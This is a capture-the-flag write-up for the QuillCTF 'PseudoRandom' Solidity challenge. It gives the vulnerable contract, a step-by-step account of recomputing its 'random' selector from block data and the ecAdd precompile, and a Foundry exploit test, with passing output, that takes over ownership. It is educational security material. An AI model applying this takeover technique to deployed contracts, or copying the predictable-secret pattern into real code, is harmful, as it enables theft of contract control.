PseudoRandom is a Solidity CTF challenge from QuillCTF.
Solution
In this contract, there is only one solidity file and also one foundry setUp file. Contract is not deployed on any testnet.
Objective of CTF is
Become the Owner of the contract.
Objective is clear, we just need to be the owner of the contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract PseudoRandom {
error WrongSig();
address public owner;
constructor() {
bytes32[3] memory input;
input[0] = bytes32(uint256(1));
input[1] = bytes32(uint256(2));
bytes32 scalar;
assembly {
scalar := sub(mul(timestamp(), number()), chainid())
}
input[2] = scalar;
assembly {
let success := call(gas(), 0x07, 0x00, input, 0x60, 0x00, 0x40)
if iszero(success) {
revert(0x00, 0x00)
}
let slot := xor(mload(0x00), mload(0x20))
sstore(add(chainid(), origin()), slot)
let sig := shl(
0xe0,
or(
and(scalar, 0xff000000),
or(
and(shr(xor(origin(), caller()), slot), 0xff0000),
or(
and(
shr(
mod(xor(chainid(), origin()), 0x0f),
mload(0x20)
),
0xff00
),
and(shr(mod(number(), 0x0a), mload(0x20)), 0xff)
)
)
)
)
sstore(slot, sig)
}
}
fallback() external {
if (msg.sig == 0x3bc5de30) {
assembly {
mstore(0x00, sload(calldataload(0x04)))
return(0x00, 0x20)
}
} else {
bytes4 sig;
assembly {
sig := sload(sload(add(chainid(), caller())))
}
if (msg.sig != sig) {
revert WrongSig();
}
assembly {
sstore(owner.slot, calldataload(0x24))
}
}
}
}
If we take a look to the contract it can be seen that else case on the fallback
function is storing the given data into the owner.slot
. So we need to find a valid msg.sig
to pass
if (msg.sig != sig) {
revert WrongSig();
}
this control, and after that the second parameter we gave (0x24) will be set to the slot owner.slot
. However signature is calculated of the constructor. On the constructor there are few unknown variables for us
scalar
slot
sig
We know the rest of them. For example from the foundry setup we know thatcaller
andorigin
isthe variableaddr
, we are in same block so we also knownumber()
,chainid()
andtimestamp()
. Even if we wouldn't be in the same block we could find them from the initial transaction anyway. So since we know thetimestamp()
number()
andchainid()
we actually know thescalar
, we can calculate it with just copy pasting theassembly
statement in the solution part. In the secondassembly
block there iscall
opcode used and the output ofcall
is stored to 0x00 with length of 0x40.
The call function parameters are as follows:
- gas(): The amount of gas available for the call.
- 0x07: The address of the contract being called.
- 0x00: The amount of Ether to send with the call (in this case, 0).
- input: The memory location where the input data starts.
- 0x60: The size of the input data (in this case, 96 bytes, as input is an array of 3 bytes32 values).
- 0x00: The memory location where the output data will be stored.
- 0x40: The size of the output data.
The call
function is instructed to store the output data in memory starting at location 0x00
, with a maximum size of 0x40
bytes (64 bytes). Since the call function modifies memory locations 0x00
and 0x20
, the memory values at these locations depend on the result of the call
. So again if we use call
opcode with exact same way, we can get exactly simular output to our memory locations 0x00
and 0x20
so eventually we can calculate the slot
variable. After we found slot
everything is straightforward. We don't need to understand the operations done on sig
calculation because everything will be same for us.
POC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/PseudoRandom.sol";
contract PseudoRandomTest is Test {
string private BSC_RPC = "https://rpc.ankr.com/bsc"; // 56
string private POLY_RPC = "https://rpc.ankr.com/polygon"; // 137
string private FANTOM_RPC = "https://rpc.ankr.com/fantom"; // 250
string private ARB_RPC = "https://rpc.ankr.com/arbitrum"; // 42161
string private OPT_RPC = "https://rpc.ankr.com/optimism"; // 10
string private GNOSIS_RPC = "https://rpc.ankr.com/gnosis"; // 100
address private addr;
function setUp() external {
vm.createSelectFork(BSC_RPC);
}
function thisistestfunc(uint256 a, address b) public{
//some implementation
}
function test() external {
string memory rpc = new string(32);
assembly {
// network selection
let _rpc := sload(
add(mod(xor(number(), timestamp()), 0x06), BSC_RPC.slot)
)
mstore(rpc, shr(0x01, and(_rpc, 0xff)))
mstore(add(rpc, 0x20), and(_rpc, not(0xff)))
}
addr = makeAddr(rpc);
vm.createSelectFork(rpc);
vm.startPrank(addr, addr);
address instance = address(new PseudoRandom());
//the solution
bytes32[3] memory input;
input[0] = bytes32(uint256(1));
input[1] = bytes32(uint256(2));
bytes memory test = abi.encodeWithSignature('thisistestfunc(uint256,address)', 0, addr);
bytes32 scalar;
assembly {
scalar := sub(mul(timestamp(), number()), chainid())
}
input[2] = scalar;
bytes32 sign;
assembly {
let success := call(gas(), 0x07, 0x00, input, 0x60, 0x00, 0x40)
if iszero(success) {
revert(0x00, 0x00)
}
let slot := xor(mload(0x00), mload(0x20))
sstore(add(chainid(), sload(addr.slot)), slot)
sign := shl(
0xe0,
or(
and(scalar, 0xff000000),
or(
and(shr(xor(sload(addr.slot), sload(addr.slot)), slot), 0xff0000),
or(
and(
shr(
mod(xor(chainid(), sload(addr.slot)), 0x0f),
mload(0x20)
),
0xff00
),
and(shr(mod(number(), 0x0a), mload(0x20)), 0xff)
)
)
)
)
}
bytes4 customSelector = bytes4(sign);
for (uint256 i = 0; i < 4; i++) {
test[i] = customSelector[i];
}
(bool success, bytes memory data) = instance.call(test);
require(success,"failed low-level call");
assertEq(PseudoRandom(instance).owner(), addr);
}
}
> forge test -vv
[⠒] Compiling...
[⠒] Compiling 1 files with 0.8.19
[⠢] Solc 0.8.19 finished in 982.82ms
Compiler run successful
Running 1 test for test/PseudoRandom.t.sol:PseudoRandomTest
[PASS] test() (gas: 214601)
Test result: ok. 1 passed; 0 failed; finished in 3.43s